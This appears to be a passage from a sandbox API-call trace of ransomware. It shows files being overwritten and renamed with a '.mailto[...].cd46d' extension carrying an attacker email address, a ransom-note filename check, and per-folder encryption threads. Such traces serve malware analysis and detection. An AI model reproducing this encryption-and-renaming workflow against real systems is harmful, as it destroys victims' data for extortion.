0x3e8b8284 [0166.122] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x54c955d3 [0166.122] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x783ca68e [0166.122] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x3dd6e331 [0166.122] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x2a40126d [0166.122] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x60851d29 [0166.122] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x66f26639 [0166.122] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x573c98f3 [0166.122] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x6b6c094c [0166.298] ReadFile (in: hFile=0xbb0, lpBuffer=0xd51e088, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x36cfa94, lpOverlapped=0x0 | out: lpBuffer=0xd51e088*, lpNumberOfBytesRead=0x36cfa94*=0x10, lpOverlapped=0x0) returned 1 [0166.299] SetFilePointerEx (in: hFile=0xbb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.299] WriteFile (in: hFile=0xbb0, lpBuffer=0xd4f8870*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x36cfa90, lpOverlapped=0x0 | out: lpBuffer=0xd4f8870*, lpNumberOfBytesWritten=0x36cfa90*=0x10, lpOverlapped=0x0) returned 1 [0166.320] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945780 [0166.320] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945a50 [0166.320] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945a50) returned 1 [0166.320] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4f8870) returned 1 [0166.320] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd51e088) returned 1 [0166.320] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c9e0) returned 1 [0166.320] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2bc0) returned 1 [0166.320] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1b) returned 0x945a50 [0166.321] SetFilePointerEx (in: hFile=0xbb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.321] WriteFile (in: hFile=0xbb0, lpBuffer=0xd4caff8*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x36cfaf8, lpOverlapped=0x0 | out: lpBuffer=0xd4caff8*, lpNumberOfBytesWritten=0x36cfaf8*=0xff, lpOverlapped=0x0) returned 1 [0166.322] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4caff8) returned 1 [0166.322] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945820) returned 1 [0166.322] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945b68) returned 1 [0166.322] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945a50) returned 1 [0166.322] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945780) returned 1 [0166.322] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945b18) returned 1 [0166.322] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9457a8) returned 1 [0166.322] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945a28) returned 1 [0166.322] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x164) returned 0x12c77860 [0166.322] wcscpy (in: _Dest=0x12c77860, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" [0166.323] wcscat (in: _Dest=0x12c77860, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT.mailto[2Hamlampampom@cock.li].cd46d" [0166.323] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x36cfab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0166.323] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17a) returned 0x12c779d0 [0166.324] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c779d0) returned 1 [0166.324] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd440060) returned 1 [0166.324] NtQueryInformationFile (in: FileHandle=0xbb0, IoStatusBlock=0x36cfabc, FileInformation=0x36cfa94, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x36cfabc, FileInformation=0x36cfa94) returned 0x0 [0166.324] NtSetInformationFile (FileHandle=0xbb0, IoStatusBlock=0x36cfabc, FileInformation=0x36cfa94, Length=0x28, FileInformationClass=0x4) returned 0x0 [0166.326] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77860) returned 1 [0166.326] FlushFileBuffers (hFile=0xbb0) returned 1 [0167.037] CloseHandle (hObject=0xbb0) returned 1 [0167.209] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x91c2f0 [0167.209] wcscpy (in: _Dest=0x91c2f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\" [0167.209] wcscat (in: _Dest=0x91c2f0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CD46D-Readme.txt" [0167.209] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\cd46d-readme.txt")) returned 0x2020 [0167.210] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91c2f0) returned 1 [0167.210] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f28) returned 1 Thread: id = 5257 os_tid = 0xa30 [0163.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimagesmask.bmp")) returned 0x20 [0166.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp", dwFileAttributes=0x20) returned 0 [0166.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.926] GetLastError () returned 0x5 [0166.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp", dwFileAttributes=0x20) returned 0 [0166.926] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f5bf0) returned 1 Thread: id = 5267 os_tid = 0xeb8 [0163.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg")) returned 0x20 [0167.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg", dwFileAttributes=0x20) returned 0 [0167.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.232] GetLastError () returned 0x5 [0167.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg", dwFileAttributes=0x20) returned 0 [0167.232] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934720) returned 1 Thread: id = 5276 os_tid = 0xf88 [0164.208] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x935788 [0164.208] wcscpy (in: _Dest=0x935788, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0164.208] wcscat (in: _Dest=0x935788, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0164.208] wcscat (in: _Dest=0x935788, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*" [0164.209] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92c4a0 [0164.209] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*", lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9cd0 [0164.469] wcscmp (_String1=".", _String2=".") returned 0 [0164.469] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.469] wcscmp (_String1="..", _String2=".") returned 1 [0164.469] wcscmp (_String1="..", _String2="..") returned 0 [0164.469] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0164.469] wcscmp (_String1="CAT", _String2=".") returned 1 [0164.469] wcscmp (_String1="CAT", _String2="..") returned 1 [0164.469] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x934bb8 [0164.469] wcscpy (in: _Dest=0x934bb8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0164.469] wcscat (in: _Dest=0x934bb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0164.469] wcscat (in: _Dest=0x934bb8, _Source="CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT" [0165.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x934bb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210 [0165.018] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1 [0165.018] wcscmp (_String1="CHS", _String2=".") returned 1 [0165.018] wcscmp (_String1="CHS", _String2="..") returned 1 [0165.018] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x9347c8 [0165.018] wcscpy (in: _Dest=0x9347c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.018] wcscat (in: _Dest=0x9347c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.018] wcscat (in: _Dest=0x9347c8, _Source="CHS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS" [0165.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9347c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950 [0165.019] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1 [0165.019] wcscmp (_String1="CHT", _String2=".") returned 1 [0165.019] wcscmp (_String1="CHT", _String2="..") returned 1 [0165.019] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x935398 [0165.019] wcscpy (in: _Dest=0x935398, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.019] wcscat (in: _Dest=0x935398, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.019] wcscat (in: _Dest=0x935398, _Source="CHT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT" [0165.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4 [0165.021] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1 [0165.021] wcscmp (_String1="CZE", _String2=".") returned 1 [0165.021] wcscmp (_String1="CZE", _String2="..") returned 1 [0165.021] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x936d08 [0165.021] wcscpy (in: _Dest=0x936d08, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.021] wcscat (in: _Dest=0x936d08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.021] wcscat (in: _Dest=0x936d08, _Source="CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE" [0165.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x936d08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954 [0165.022] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1 [0165.022] wcscmp (_String1="DAN", _String2=".") returned 1 [0165.022] wcscmp (_String1="DAN", _String2="..") returned 1 [0165.022] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x936720 [0165.022] wcscpy (in: _Dest=0x936720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.022] wcscat (in: _Dest=0x936720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.022] wcscat (in: _Dest=0x936720, _Source="DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN" [0165.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x936720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958 [0165.023] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1 [0165.023] wcscmp (_String1="DEU", _String2=".") returned 1 [0165.024] wcscmp (_String1="DEU", _String2="..") returned 1 [0165.024] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x9363d8 [0165.024] wcscpy (in: _Dest=0x9363d8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.024] wcscat (in: _Dest=0x9363d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.024] wcscat (in: _Dest=0x9363d8, _Source="DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU" [0165.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9363d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c [0165.025] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0165.025] wcscmp (_String1="ENU", _String2=".") returned 1 [0165.025] wcscmp (_String1="ENU", _String2="..") returned 1 [0165.025] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x935ca0 [0165.025] wcscpy (in: _Dest=0x935ca0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0165.025] wcscat (in: _Dest=0x935ca0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0165.025] wcscat (in: _Dest=0x935ca0, _Source="ENU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU" [0165.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935ca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x960 [0165.026] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1 [0165.026] wcscmp (_String1="ESP", _String2=".") returned 1 [0165.026] wcscmp (_String1="ESP", _String2="..") returned 1 [0165.026] RtlAllocateHeap (HeapHandle=0x8c0000, 